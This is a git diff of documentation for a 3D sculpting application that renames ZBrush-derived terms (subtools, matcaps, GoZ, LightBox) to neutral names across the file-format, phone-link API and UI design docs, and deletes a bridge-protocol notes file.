| `channel` | no | Lower-case letters, digits and `-`. `"insider"` marks the monthly pack or an Insider drop (shown as **Member pack**). **Display only**: it changes a label, nothing else; there is no DRM and anyone can install the file. |
-| `contents` | yes | A list of `{"type", "path"}`. Types: `brush`, `alpha`, `matcap`, `material`, `vdm`, `keymap`, `piemenu`, `macro`. |
+| `contents` | yes | A list of `{"type", "path"}`. Types: `brush`, `alpha`, `litsphere`, `material`, `vdm`, `keymap`, `piemenu`, `macro`. |
Text values must be valid UTF-8 without control characters. The JSON is parsed strictly: a key given twice,
an unknown key, a number JSON doesn't allow or trailing text is an error.
diff --git a/docs/phone-link.md b/docs/phone-link.md
index 08de088d..b67bfede 100644
--- a/docs/phone-link.md
+++ b/docs/phone-link.md
@@ -111,7 +111,7 @@ All JSON; `X-SF-Token` header (or `?k=`) on everything but `/` and `/api/pair`.
| `GET /api/file/<id>` | `{"received","size"}` |
| `POST /api/capture/<id>/finish` | moves it to `Captures/<yyyy-mm-dd_hhmmss>-<kind>/`, writes `capture.json`, runs the command; 409 lists incomplete files |
| `POST /api/capture/<id>/cancel` | drops it |
-| `POST /api/ar {"scope":"subtool|scene","size":cm}` | asks for an AR model |
+| `POST /api/ar {"scope":"part|scene","size":cm}` | asks for an AR model |
| `GET /ar/model.usdz`, `GET /ar/model.glb` | the newest model (503 while preparing) |
| `POST /api/face` | face messages (one per line), for `/face` on localhost and tests |
| `GET /api/face-link` | creates a WebRTC offer, -> `{"url"}` of the face page |
@@ -119,7 +119,7 @@ All JSON; `X-SF-Token` header (or `?k=`) on everything but `/` and `/api/pair`.
The phone retries network failures with backoff (2 s doubling to 30 s, 12 tries) and resumes from what the desktop
has. Captures then run, by kind: `splat_train source=<video or folder>` (owned by the splat feature), the Image to 3D
-window (generating at once, a window option), and `open` (splat `.ply`/`.splat`) or `subtool_append` (mesh `.ply`).
+window (generating at once, a window option), and `open` (splat `.ply`/`.splat`) or `part_append` (mesh `.ply`).
A missing command is reported in the status bar.
## Face feed
diff --git a/docs/project-format.md b/docs/project-format.md
index 969d8ef3..23a75643 100644
--- a/docs/project-format.md
+++ b/docs/project-format.md
@@ -6,33 +6,33 @@ read by `loadProject` (src/core/Project.cpp). Commands: `save_project path=...`,
## Layout (version 5)
- `manifest.json`: always first. `format` = `"SculptForge project"`, `version` (integer, currently 5),
- `app_version`, then `subtools` (one entry per Part, in list order), `active_subtool` (index),
+ `app_version`, then `parts` (one entry per Part, in list order), `active_part` (index),
`brushes` (recipe JSON), `active_brush` (name), optional `splats`, and app-owned keys (`camera`,
`render`, `brush`, `symmetry`, `gizmo`). `gizmo` (added in 0.5 without a version bump; older readers
ignore it) holds the Gizmo's `pivot`, `pivot_placed`, `orient_surface`, `axis_x` / `axis_y` (its
- surface axes), `use_mask`, `all_subtools` and `falloff`.
-- Each `subtools[i]` holds `name`, `visible` (bool), `mesh`, `layers`, `active_layer` (sculpt layer
- strokes go into, -1 = base) and, for a mesh that came from ZBrush, `goz_name` (the GoZ object name
- that `goz_send` / `goz_receive` match on). Optional `shading` (`"smooth"` or `"flat"`; missing or unknown =
+ surface axes), `use_mask`, `all_parts` and `falloff`.
+- Each `parts[i]` holds `name`, `visible` (bool), `mesh`, `layers`, `active_layer` (sculpt layer
+ strokes go into, -1 = base) and, for a mesh that came , `bridge_name` (the Bridge object name
+ that `bridge_send` / `bridge_receive` match on). Optional `shading` (`"smooth"` or `"flat"`; missing or unknown =
follow the scene) is the Part's own viewport shading, and the app's `render.flat_shading` (bool) the scene's;
both were added after 0.9.4 without a version bump (older readers ignore them).
- Optional top-level `attachments` (added in 0.9.5 without a version bump; older readers ignore it): files the app
keeps in the project, each `{"name", "data"}` with `data` a `u8` blob under `attachments/<name>`. Names use
letters, digits, space, `. _ -` and `/` (no `..`); a missing or unreadable attachment is left out on loading. The
- app stores the custom Lit Sphere the view uses as `matcaps/<name>.png` and names it in `render.matcap_file`
- (`render.matcap` keeps its name).
+ app stores the custom Lit Sphere the view uses as `litspheres/<name>.png` and names it in `render.litsphere_file`
+ (`render.litsphere` keeps its name).
- Blobs are little-endian arrays. The manifest describes each one as
`{"file", "type": "f32"|"u32"|"u8", "components", "count"}`; readers check all four. Part `i`'s
- blobs live under `subtools/<i>/` (the file name comes from the descriptor, so readers don't rely
+ blobs live under `parts/<i>/` (the file name comes from the descriptor, so readers don't rely
on it).
-| Manifest key (in `subtools[i]`) | File | Layout |
+| Manifest key (in `parts[i]`) | File | Layout |
|--------------|------|--------|
| `mesh.positions` | parts/i/mesh/positions.bin | f32 x3 per vertex (current blend) |
| `mesh.triangles` | parts/i/mesh/triangles.bin | u32 x3 per triangle |
| `mesh.base` | parts/i/mesh/base.bin | f32 x3 per vertex (only with layers) |
| `mesh.mask` / `colors` | parts/i/mesh/mask.bin, colors.bin | f32 x1 / x3 per vertex (linear RGB) |
-| `mesh.polygroups` / `hidden` | parts/i/mesh/face groups.bin, hidden.bin | u32 / u8 per triangle |
+| `mesh.facegroups` / `hidden` | parts/i/mesh/face groups.bin, hidden.bin | u32 / u8 per triangle |
| `mesh.uvs` | parts/i/mesh/uvs.bin | f32 x2 per triangle corner |
| `mesh.quad_partners` | parts/i/mesh/quad_partners.bin | u32 per triangle: the triangle it forms a quad with, 0xFFFFFFFF = none. Readers drop pairs that aren't mutual or don't share an edge. Added without a version bump: older readers ignore it and load triangles |
| `layers[k].delta` | parts/i/layers/<k>.bin | f32 x3 per vertex, plus `name`, `weight` |
@@ -48,14 +48,14 @@ read by `loadProject` (src/core/Project.cpp). Commands: `save_project path=...`,
Optional attributes are simply absent when the mesh doesn't have them.
### Selection sets
-`subtools[i].selection_sets` (only for SubTools with sets; src/core/SelectionSets.h; added after 0.10.4 without a
+`parts[i].selection_sets` (only for Parts with sets; src/core/SelectionSets.h; added after 0.10.4 without a
format version bump, older readers ignore it) holds `version` (1), `morph_target` (the set the Morph brush uses, if
any) and `sets`: per set its `name`, `channels`, `level`, `vertex_count`, `triangle_count` (for people and tools;
-readers rely on the data) and `data`, a `u8` blob under `subtools/i/sets/<k>.bin`. The blob is self-contained,
-little-endian: `SFSS`, the set format version (1), the channel bits (1 mask, 2 polygroups, 4 vertex paint,
+readers rely on the data) and `data`, a `u8` blob under `parts/i/sets/<k>.bin`. The blob is self-contained,
+little-endian: `SFSS`, the set format version (1), the channel bits (1 mask, 2 face groups, 4 vertex paint,
8 visibility, 16 UVs, 32 shape), the vertex and triangle counts and level it was stored at, the name (u32 length +
UTF-8), then one section per channel (u32 channel bit, u64 byte length, payload): runs (u64 count, then u32 start,
-u32 length each) of masked vertices plus a u32 "all ones" flag and otherwise f32 values; run-length polygroups (u32
+u32 length each) of masked vertices plus a u32 "all ones" flag and otherwise f32 values; run-length face groups (u32
id, u32 length); runs of non-white vertices plus f32 x3 colours; runs of hidden triangles; f32 x2 UVs per triangle
corner; f32 x3 positions. Readers skip sections they don't know and leave out (with a notice) any set they can't
read; a set whose format version is newer than theirs is left out the same way. `.sfsets` files
@@ -63,7 +63,7 @@ read; a set whose format version is newer than theirs is left out the same way.
`version` 1, `morph_target`, `sets` as above with `data` naming the entry) and the same blobs under `sets/`.
### Paint layers
-`subtools[i].paint_layers` (only written when the Part has paint layers; src/core/PaintLayer.h) holds
+`parts[i].paint_layers` (only written when the Part has paint layers; src/core/PaintLayer.h) holds
`active` (the layer painting writes into, -1 = Base), `base` and `layers` (bottom to top). `blend` is one of
`normal`, `multiply`, `screen`, `overlay`, `soft_light`, `add`, `subtract`, `darken`, `lighten`, `difference`
(unknown modes load as `normal`). `mesh.colors` still holds the composited stack, so readers that don't know
@@ -71,7 +71,7 @@ read; a set whose format version is newer than theirs is left out the same way.
version bump.
### Texture (version 3)
-`subtools[i].texture` (only for Parts with a painted texture; src/core/Texture.h) holds `width`, `height`,
+`parts[i].texture` (only for Parts with a painted texture; src/core/Texture.h) holds `width`, `height`,
`paint_to_texture` (painting goes into the texture rather than the vertices), `active` (texture layer
painting writes into, -1 = Base), `base` and `layers` (bottom to top, the same fields and blend modes as
paint layers). Each image is a PNG of exactly `width` x `height`; a texture whose images are missing or the
@@ -80,9 +80,9 @@ Version 3 was introduced for this key (SculptForge 0.5): earlier versions refuse
silently dropping the paint. Version 1 and 2 files load unchanged.
### Subdivision levels (version 4)
-`subtools[i].subdiv` (only for Parts with levels; src/core/Multires.h) holds `current` (the level the
+`parts[i].subdiv` (only for Parts with levels; src/core/Multires.h) holds `current` (the level the
Part's own `mesh` is) and `levels` (base first). Each level has `mesh` / `layers` / `paint_layers` as above
-under `subtools/i/subdiv/<k>/` (or `same_as_mesh: true` for the current level when it equals the Part's
+under `parts/i/subdiv/<k>/` (or `same_as_mesh: true` for the current level when it equals the Part's
mesh), `stale` (positions to be re-evaluated from the level below), `detail` (f32 x3 per vertex: displacement
in the local frame of the subdivided level below), `layer_detail` (one per sculpt layer: the layer's offsets
minus the subdivided offsets of the level below, in the same local frames as `detail`; version 4 stored them in
@@ -95,13 +95,13 @@ local-frame `layer_detail`) was introduced so a sculpt layer's detail turns with
version 4 readers would misread it, so they refuse version 5 files.
Loading replaces the scene: every Part comes back with its name, visibility, attributes, layers,
-active layer and GoZ name, the saved active Part is selected, every Part starts with an empty
+active layer and Bridge name, the saved active Part is selected, every Part starts with an empty
undo history and the document is clean. A file is refused (and the open scene left alone) when the
-Parts list is missing or empty, or any Part's mesh is broken; an out-of-range `active_subtool`
+Parts list is missing or empty, or any Part's mesh is broken; an out-of-range `active_part`
selects the first one.
## Version 1
-Version 1 files (SculptForge 0.2 and earlier) have one mesh at the top level instead of `subtools`:
+Version 1 files (SculptForge 0.2 and earlier) have one mesh at the top level instead of `parts`:
`mesh` and `layers` as above (blobs under `mesh/` and `layers/`) and `active_layer`. They still load,
as a single Part called "Sculpt". Saving always writes the current version (5).
diff --git a/docs/ui-design.md b/docs/ui-design.md
index 4f57cf4b..d496babf 100644
--- a/docs/ui-design.md
+++ b/docs/ui-design.md
@@ -130,10 +130,10 @@ Every palette's body is one function `void drawPalette_<Id>()`, and the same fun
|---|---|
| **Alpha** | Large preview; built-in grid (round, square, noise); Load image...; Invert loaded image; recent alphas. (`PanelBrushes.cpp` alpha section, `cmd:brush_set_alpha`) |
| **Brush** | Brush grid (the same widget as the picker, §4.1); Custom brushes list; Brush Lab (AI)... button; recipe editor for the active custom brush (`drawRecipeEditor`); Save brush... / Load brush... (`cmd:brush_save`, `cmd:brush_load`); Front faces only; Invert (Alt) |
-| **Color** | Vertex Paint colour picker and swatches; Fill object (`cmd:paint_fill`); Clear (`cmd:paint_clear`); From cavity (`cmd:paint_from_cavity`); Pick under cursor (C). (`PanelPolypaint.cpp` minus the material part) |
+| **Color** | Vertex Paint colour picker and swatches; Fill object (`cmd:paint_fill`); Clear (`cmd:paint_clear`); From cavity (`cmd:paint_from_cavity`); Pick under cursor (C). (`PanelVertexPaint.cpp` minus the material part) |
| **Draw** | Draw Size, Strength (Intensity), Add/Sub, Rgb (`paintRgb_`), Paint mode, Tablet: Pressure > strength, Pressure > size, pen readout |
| **Edit** | Undo <label>, Redo <label> (`cmd:undo`, `cmd:redo`) |
-| **File** | New Sphere, New Plane, Open..., Open Recent >, Save, Save As..., Autosave interval; Import/Export: Export OBJ, GLB (blend shapes), LOD chain, USD/USDZ, FBX for Unreal, Send to Unreal, Save Splats...; Bridge >; Quit. (Today's File menu, `drawFileMenuProjectItems`, `drawGozMenu`) |
+| **File** | New Sphere, New Plane, Open..., Open Recent >, Save, Save As..., Autosave interval; Import/Export: Export OBJ, GLB (blend shapes), LOD chain, USD/USDZ, FBX for Unreal, Send to Unreal, Save Splats...; Bridge >; Quit. (Today's File menu, `drawFileMenuProjectItems`, `drawBridgeMenu`) |
| **Generate** | Generate 3D (image/text -> 3D, ComfyUI) opens the existing Generate 3D window; Image Relief / Inflate / Project (`cmd:image_relief`, `image_inflate`, `image_project`); AI provider settings (`drawAiSettings`) |
| **Help** | Controls (shortcut sheet generated from the Action registry), User Guide (Shift+F1), What's New (also opened once after each update), Command palette (F3), Website & documentation, Report a problem, About SculptForge |
| **Material** | Studio + Lit Sphere thumbnail grid (`cmd:set_material`); base colour (today's "Material" ColorEdit in Tools) |
@@ -142,16 +142,16 @@ Every palette's body is one function `void drawPalette_<Id>()`, and the same fun
| **Script** | Show console (`` ` ``), Run script file..., Copy session as script, Clear console |
| **Splats** | `drawSplatSection` body (info, clean, transform, to mesh, save, clear) |
| **Stroke** | Stroke type (Dots, Drag Stamp, Spray, Lazy Stroke) and its settings (spray scatter, lazy radius) |
-| **Tool** | The model palette. Header: active Part name + tri count, `[Open] [Save] [Import]`. Sub-palettes (collapsing headers, one open at a time, Shift+click for more): **Part** (Parts panel body), **Layers** (Layers / Blend Shapes body), **Geometry** (Lower Res / Higher Res, SDiv slider, Del Lower / Del Higher, Reconstruct Subdiv, Divide Ctrl+D + Smt, Subdivide, Decimate, `cmd:decimate`), **Remesh** (Voxel remesh + resolution, the "voxel remesh" analogue), **Masking** (`drawMaskingSection`), **Face Groups** (`drawPolygroupsSection`), **Visibility** (Show all, Invert visibility, Delete hidden), **Export** (Game Ready panel body: LODs, Unreal, GLB/LOD chain), **Display** (wireframe, show mask/groups, material colour) |
-| **Transform** | Draw / Move / Scale / Rotate (Q W E R, Gizmo: pivot, World / Surface axes, Mask, All Parts, Falloff, numeric entry; `cmd:transform`), Symmetry X / Y / Z (X), Frame (F), Solo (`cmd:subtool_solo`), Wireframe |
+| **Tool** | The model palette. Header: active Part name + tri count, `[Open] [Save] [Import]`. Sub-palettes (collapsing headers, one open at a time, Shift+click for more): **Part** (Parts panel body), **Layers** (Layers / Blend Shapes body), **Geometry** (Lower Res / Higher Res, SDiv slider, Del Lower / Del Higher, Reconstruct Subdiv, Divide Ctrl+D + Smt, Subdivide, Decimate, `cmd:decimate`), **Remesh** (Voxel remesh + resolution, the "voxel remesh" analogue), **Masking** (`drawMaskingSection`), **Face Groups** (`drawFaceGroupsSection`), **Visibility** (Show all, Invert visibility, Delete hidden), **Export** (Game Ready panel body: LODs, Unreal, GLB/LOD chain), **Display** (wireframe, show mask/groups, material colour) |
+| **Transform** | Draw / Move / Scale / Rotate (Q W E R, Gizmo: pivot, World / Surface axes, Mask, All Parts, Falloff, numeric entry; `cmd:transform`), Symmetry X / Y / Z (X), Frame (F), Solo (`cmd:part_solo`), Wireframe |
Part / Layer / Masking / Face Groups are **Tool** sub-palettes, not top-level palettes. The Mesh and View menus disappear, and their items move to Tool > Geometry/Remesh and Render. Palettes are sorted by name at registration, so a new palette lands in alphabetical order automatically.
### 3.3 Top shelf (h 64, two rows)
Row 1:
-- `[LightBox]` (`act:ui.lightbox`, `,`)
+- `[LibraryBrowser]` (`act:ui.library`, `,`)
- `[Sculpt | Paint]` (`paintMode_`)
-- `[Zadd | Zsub]` (`invertToggle_`)
+- `[Raise | Lower]` (`invertToggle_`)
- `[Rgb]` (`paintRgb_`)
- `[Vertex | Texture]` paint target (`act:draw.paint_vertex`, `act:draw.paint_texture`; contextual: only when the Part has a texture)
- `Draw Size 60` slider (w 180; `radiusPx_`, `S`)
@@ -185,8 +185,8 @@ A Texture slot is left out (no texture feature yet). It's reserved in the layout
### 3.5 Right shelf (w 52)
Icon + tiny label, 44x40 each. Groups are separated by 8 px.
- **Navigation**: Frame (F). **Move, Zoom and Rotate are drag buttons**: left-drag on the button pans / zooms / orbits the camera. Implement with `InvisibleButton` + `IsItemActive()` + `io.MouseDelta`, feeding the existing camera functions.
-- **View**: Persp (only if the camera supports ortho; otherwise leave it out), Floor (optional grid, only if cheap), Wire = wireframe (Shift+F; W is the Gizmo's Move since 0.5), Groups (`showPolygroups`), Mask (`showMask`), Paint (`showPolypaint`).
-- **Object**: Solo (`cmd:subtool_solo`), Splats (show splats; shown only when splats are loaded).
+- **View**: Persp (only if the camera supports ortho; otherwise leave it out), Floor (optional grid, only if cheap), Wire = wireframe (Shift+F; W is the Gizmo's Move since 0.5), Groups (`showFaceGroups`), Mask (`showMask`), Paint (`showVertexPaint`).
+- **Object**: Solo (`cmd:part_solo`), Splats (show splats; shown only when splats are loaded).
Toggles that are on get an accent background.
@@ -223,7 +223,7 @@ All pickers are ImGui pop-up windows (`BeginPopup`). They open next to the shelf
### 4.2 Stroke, Alpha and Material pickers
- Same tile grid, no letter badges (few items), but typing still filters.
- **Material** is also opened with **M** (currently unbound in SculptForge).
-- Hovering a material tile previews it on the model : set `renderSettings_.matcap` temporarily and restore it on leave.
+- Hovering a material tile previews it on the model : set `renderSettings_.litsphere` temporarily and restore it on leave.
### 4.3 Size / Strength at cursor
`S` and `I` open a one-slider pop-up under the mouse ("Draw Size 60", 200 px wide, already focused for drag or typing). It closes on release, Enter or Esc. `[` and `]` keep working.
@@ -256,7 +256,7 @@ Each tab shows a "Built-in" and a "User" folder at its root.
| Tab | Shows | Double-click | Other actions |
|---|---|---|---|
| Project | `*.sfproj` in User/Projects + `recentFiles_` projects | open (via `confirmDiscard`) | |
-| Tool | meshes `.obj .glb .gltf .fbx .stl .ply .usda .usdz .GoZ` + built-in primitives Sphere, Plane, Cube (`makeCube` exists) + demo lion | open (replace scene, with `confirmDiscard`) | **Shift+double-click = append as Part** (`cmd:subtool_append`) |
+| Tool | meshes `.obj .glb .gltf .fbx .stl .ply .usda .usdz Bridge` + built-in primitives Sphere, Plane, Cube (`makeCube` exists) + demo lion | open (replace scene, with `confirmDiscard`) | **Shift+double-click = append as Part** (`cmd:part_append`) |
| Brush | built-in brush types, `doc.brushes`, `.sfbrush` files | activate / `cmd:brush_load` | |
| Alpha | round/square/noise + images in User/Alphas | `cmd:brush_set_alpha` | |
| Material | Studio + every lit sphere | `cmd:set_material` | |
@@ -276,12 +276,12 @@ Each tab shows a "Built-in" and a "User" folder at its root.
`ThumbnailCache` gives every visual asset an `ImTextureID`:
-- **Meshes and projects**: rendered offscreen. Use `Renderer::renderToImage`, or a new `Renderer::renderMeshThumbnail(const Mesh&, matcap, size, rgba&)` if `renderToImage` is tied to the synced scene. Size 192x192 (displayed at 96, crisp on HiDPI), the default material (Soft Clay), transparent background, camera framed on the bounds from a 3/4 front view (yaw 30, pitch 15).
+- **Meshes and projects**: rendered offscreen. Use `Renderer::renderToImage`, or a new `Renderer::renderMeshThumbnail(const Mesh&, litsphere, size, rgba&)` if `renderToImage` is tied to the synced scene. Size 192x192 (displayed at 96, crisp on HiDPI), the default material (Soft Clay), transparent background, camera framed on the bounds from a 3/4 front view (yaw 30, pitch 15).
- Mesh loading uses the existing importers on a worker thread. GL rendering happens on the main thread, **at most 2 thumbnails per frame**.
- Projects: `saveProject` also writes `thumbnail.png` (256x256, current camera) into the `.sfproj` ZIP. The Library reads that instead of loading the whole project. Older projects without it are loaded on the worker and rendered once.
- **Brushes**: on a worker, sculpt a mark of each brush's own shape on the front of a fresh clay ball (icosphere sdiv 6) using the same `Sculptor`/recipe code as real strokes, so brushes tell apart at shelf size: Standard an S, Clay three strips, Clay Block a hash of bars, Sharp Crease a diagonal cut, Crease a curved groove, Inflate a puffed ring, Pinch a sharp chevron, Smooth a bumpy ridge smoothed on one half, Flatten a planed dome, Trim a cut-down ridge, Layer a raised square frame, Nudge an upright ridge slid sideways, Move and Tendril pulls at the silhouette, recipes an S. The ball fills 97% of the tile. Every brush, Paint included, is the same ball, camera and material (Soft Clay), so the shelf reads as one icon set. Key = brush type or recipe JSON hash plus `kThumbnailVersion` (bump it whenever thumbnails are made differently, so stale disk-cached ones are remade).
- **Alphas**: the alpha's samples, from the tile's charcoal (none) to the clay's lit grey (full effect), not white on black.
-- **Materials**: the same ball as the brushes, rendered with that lit sphere. Pickers list the default (Soft Clay) first (`matcapInListOrder`), then the others, then Studio.
+- **Materials**: the same ball as the brushes, rendered with that lit sphere. Pickers list the default (Soft Clay) first (`litsphereInListOrder`), then the others, then Studio.
- **Images**: stb-decoded, downscaled to 192.
- **Disk cache**: `<prefDir>/thumbs/<fnv1a64(kind|absPath|size|mtime|version)>.png` (stb_image_write is in third_party). In-memory LRU of 256 GL textures.
- **Placeholder**: while a thumbnail is pending, the tile shows the Lucide glyph for its kind (`box`, `brush`, `circle-dashed`, `palette`, `image`, `sparkles`, `folder`) on `#2a2a2e`.
@@ -429,7 +429,7 @@ Json toJson(const UiLayout&); bool fromJson(const Json&, UiLayout&, std::string&
- Shelves draw insertion targets between items (2 px accent line).
- **Dropping anywhere that isn't a shelf (e.g. the canvas) removes the item** if it came from a shelf.
- Palettes can't be dropped on shelves, only into trays (`"SF_PALETTE"` payload from the palette header icon).
-- **Store Config (Ctrl+Shift+I)** writes `<prefDir>/ui.json` = `{ layout, shortcuts: overrides, prefs: {popupInfo, uiScale, oneSubpalette, autoCollapse, lightbox...} }`. Status: "UI configuration stored".
+- **Store Config (Ctrl+Shift+I)** writes `<prefDir>/ui.json` = `{ layout, shortcuts: overrides, prefs: {popupInfo, uiScale, oneSubpalette, autoCollapse, library...} }`. Status: "UI configuration stored".
- **Restore Standard UI**: `layout_ = standardLayout()` and shortcut overrides cleared. Not persisted until Store Config.
- **Restore Custom UI**: reload `ui.json`.
- **Save UI... / Load UI... (Ctrl+L)**: the same JSON at a chosen path (for sharing layouts).
@@ -499,7 +499,7 @@ Every look also tints the 3D view's gradient (`RenderSettings::gradientCentre` /
user picked is left alone.
**Layouts.** Picking one of the three looks switches to the **SculptForge layout**; the old one stays as the
-**Classic layout** (Preferences > Interface > Look > Layout, `ui_look layout=zbrush`), and works with any look.
+**Classic layout** (Preferences > Interface > Look > Layout, `ui_look layout=classic`), and works with any look.
- Status bar (h 30): the cube and name, the task menus **File · Edit · Sculpt · Paint · Mesh · View · Render · Help**,
the status message, then modules (mode, brush, file, triangles, fps), the presets 1 2 3 as workspaces, search (F3),
@@ -542,7 +542,7 @@ tools/looks/shots.sfui.
```
Repeat the merge for the 12 px shelf font. In the right shelf, use a separate non-merged 20 px Lucide font for the large icons.
- With ImGui >= 1.92 (dynamic fonts), the glyph ranges can be dropped. Not relevant on 1.91.9.
-- **Glyphs to use** (check each name against the pinned header): `brush, paintbrush, spray-can, move-3d, rotate-3d, scale-3d, scan (frame), hand (pan), zoom-in, grid-3x3 (wireframe), eye, eye-off, boxes (subtools), layers, droplet (mask), shapes (polygroups), palette (color), circle-dashed (alpha), sun (material), image, folder, folder-open, save, undo-2, redo-2, search, square-terminal, circle-help, settings, sparkles (AI), wand-sparkles, package (export), gamepad-2 (game ready), panel-left, panel-right, chevron-*, x`.
+- **Glyphs to use** (check each name against the pinned header): `brush, paintbrush, spray-can, move-3d, rotate-3d, scale-3d, scan (frame), hand (pan), zoom-in, grid-3x3 (wireframe), eye, eye-off, boxes (parts), layers, droplet (mask), shapes (facegroups), palette (color), circle-dashed (alpha), sun (material), image, folder, folder-open, save, undo-2, redo-2, search, square-terminal, circle-help, settings, sparkles (AI), wand-sparkles, package (export), gamepad-2 (game ready), panel-left, panel-right, chevron-*, x`.
- Sculpt-specific visuals (brushes, alphas, materials, models) use **rendered thumbnails** (§6), not glyphs. No icon set has good sculpting-brush icons.
---
@@ -568,10 +568,10 @@ Create these with real declarations and **stub** implementations, so all three s
- `src/app/Actions.h/.cpp`: `Action`, `ActionRegistry` (stub `handleKey` returns false). App member `ActionRegistry actions_`.
- `src/app/Ui.h/.cpp`: `ui::ActionButton` (stub = `ImGui::Button(label)` + run), `ui::HelpText`/`HelpAction` (stubs no-op), `ui::SliderInside`.
- `src/app/UiLayout.h/.cpp`: struct + `standardLayout()` + JSON. App member `UiLayout layout_`.
-- `src/app/LightBox.h`: `class LightBox { void draw(App&, CanvasRect); bool open; void toggle(); }`. `src/app/Thumbnails.h`: `class ThumbnailCache { ImTextureID brush(int type); ImTextureID recipe(const BrushRecipe&); ImTextureID alpha(const BrushAlpha&); ImTextureID material(int matcap); ImTextureID file(const std::string& path); void pump(Renderer&); }`. All stubs return 0 / draw nothing.
+- `src/app/LibraryBrowser.h`: `class LibraryBrowser { void draw(App&, CanvasRect); bool open; void toggle(); }`. `src/app/Thumbnails.h`: `class ThumbnailCache { ImTextureID brush(int type); ImTextureID recipe(const BrushRecipe&); ImTextureID alpha(const BrushAlpha&); ImTextureID material(int litsphere); ImTextureID file(const std::string& path); void pump(Renderer&); }`. All stubs return 0 / draw nothing.
- `src/app/Pickers.h`: `enum class Picker { Brush, Stroke, Alpha, Material }; void openPicker(Picker, ImVec2 anchor); void drawPickers(App&);`
- Lucide font + header embedded and merged (§11), the `ICON_LC_*` macros available.
-- `App.h`: three clearly fenced member sections, `// ---- Shell (A) ----`, `// ---- LightBox (B) ----`, `// ---- Help/Console/Config (C) ----`. Each stream adds members only inside its own section.
+- `App.h`: three clearly fenced member sections, `// ---- Shell (A) ----`, `// ---- LibraryBrowser (B) ----`, `// ---- Help/Console/Config (C) ----`. Each stream adds members only inside its own section.
### Workstream A: shell, layout, palettes, theme
**Owns**: `src/app/Shell.cpp` (new: title strip, palette bar, shelves, trays, splitters, layout math, `canvasRect()`), `src/app/Palettes.cpp` (new: palette registry, `drawPalette_*` for all 16 palettes, Tool sub-palettes), `src/app/Theme.cpp` (moved `applyStyle` + tokens), the existing `Panel*.cpp` (converted to `draw*Contents()` without `Begin/End`), `App.cpp` `drawUi`/`drawMenuBar` (removed)/`drawToolPanel` (removed)/panel functions, the canvas-rect changes in `run`/`handleEvent`/`pick`/brush cursor, and `src/render/Renderer.*` (viewport rect param).
@@ -579,10 +579,10 @@ Create these with real declarations and **stub** implementations, so all three s
**Tests**: rewrite `tests/ui/*.sfui` steps that clicked View-menu items or old window titles. Item labels stay the same wherever possible: "Brush Lab/..." stays a floating window with the same name, and Parts buttons keep their labels inside Tool > Parts. Add `tests/ui/shell_layout.sfui` (shots at 1600x960 and 1920x1080, Tab hides shelves, tray divider toggle, palette into tray).
### Workstream B: Library, thumbnails, pickers
-**Owns**: `src/app/LightBox.cpp`, `src/app/Thumbnails.cpp`, `src/app/Pickers.cpp`, `src/app/AssetLibrary.h/.cpp` (folder roots, worker-thread scanning), `src/core/Project.cpp` (+ `thumbnail.png` in `.sfproj`, read helper `loadProjectThumbnail(path, Image&)`), and maybe a `Renderer::renderMeshThumbnail` (coordinate the signature with A, who owns `Renderer.*`; B adds the new method in a separate block).
-**Delivers**: §4 (brush picker with letter badges, stroke/alpha/material pickers, S/I sliders, material hover preview), §5, §6, Snapshot target folder. Registers `ui.lightbox` (`,`), `ui.picker.brush` (B), `ui.picker.material` (M), `ui.size_popup` (S), `ui.strength_popup` (I), `file.quicksave`.
+**Owns**: `src/app/LibraryBrowser.cpp`, `src/app/Thumbnails.cpp`, `src/app/Pickers.cpp`, `src/app/AssetLibrary.h/.cpp` (folder roots, worker-thread scanning), `src/core/Project.cpp` (+ `thumbnail.png` in `.sfproj`, read helper `loadProjectThumbnail(path, Image&)`), and maybe a `Renderer::renderMeshThumbnail` (coordinate the signature with A, who owns `Renderer.*`; B adds the new method in a separate block).
+**Delivers**: §4 (brush picker with letter badges, stroke/alpha/material pickers, S/I sliders, material hover preview), §5, §6, Snapshot target folder. Registers `ui.library` (`,`), `ui.picker.brush` (B), `ui.picker.material` (M), `ui.size_popup` (S), `ui.strength_popup` (I), `file.quicksave`.
**Interface used by A**: the left-shelf tiles call `thumbs.brush(...)` etc. and `openPicker(Picker::X, tileRectMax)`. The bottom shelf uses `thumbs.brush/recipe`. The Brush/Alpha/Material palettes reuse `drawBrushGrid(App&, GridMode)` exported from `Pickers.h`.
-**Tests**: `tests/ui/lightbox.sfui` (`key ,` -> expect "Library", tab switch, double-click the "Sphere" tile -> triangles changed, Shift+double-click -> parts == 2), the brush picker (`key b`, `key s`, `key t` -> Standard active), unit tests for the cache key and the project-thumbnail round-trip.
+**Tests**: `tests/ui/library.sfui` (`key ,` -> expect "Library", tab switch, double-click the "Sphere" tile -> triangles changed, Shift+double-click -> parts == 2), the brush picker (`key b`, `key s`, `key t` -> Standard active), unit tests for the cache key and the project-thumbnail round-trip.
### Workstream C: help, command palette, console, config, keys
**Owns**: `src/app/Actions.cpp` (real `handleKey`, chord parsing, overrides, MRU, auto-registering commands), `src/app/Ui.cpp` (real Ctrl-hover help rendering, customize-mode drag sources inside `ActionButton`), `src/app/CommandPalette.cpp`, `src/app/Console.cpp`, `src/app/Config.cpp` (Store/Restore/Load/Save UI, `ui.json`, preferences values), `src/core/Script.*` (`formatStatement` + test), `App::onKey` (replaced by `actions_.handleKey`), the one-line echo hook in `App::runCommand`, and the generated F1 Controls window. Also `src/app/UiTest.cpp` key aliases (`comma`, `backtick`, `tab`, `f3`), and a test step `expect_help TEXT` (the Ctrl-help box shown this frame contains TEXT).
diff --git a/integrations/bridge-plugin/PROTOCOL.md b/integrations/bridge-plugin/PROTOCOL.md
deleted file mode 100644
index 8e35d17a..00000000
--- a/integrations/bridge-plugin/PROTOCOL.md
+++ /dev/null
@@ -1,128 +0,0 @@
-# Bridge protocol notes (developers)
-
-SculptForge reads and writes ZBrush's **GoZ** bridge format and can send meshes to and receive them
-from a running ZBrush the way GoZ-enabled apps do. The format notes below come from reading
-[GoB](https://github.com/JoseConseco/GoB), the open-source (GPL) Blender GoZ add-on by Daniel Grauer,
-JoseConseco and contributors. Its `gob_import.py`, `gob_export.py` and `paths.py` are the
-reference for this implementation. Many thanks to them.
-
-ZBrush's own **.ZTL** (tool) and **.ZPR** (project) files are proprietary and undocumented, so SculptForge
-cannot open them. Opening one gives an error that suggests sending the model with Send to ZBrush or exporting OBJ/FBX
-from ZBrush.
-
-The Blender bridge ([blender.md](blender.md)) sends meshes to and from Blender as the same `.GoZ` files.
-
-Code: `src/io/GozIO.h/.cpp` (format + bridge), `src/io/StlIO.h/.cpp`, `src/io/GozCommands.cpp`
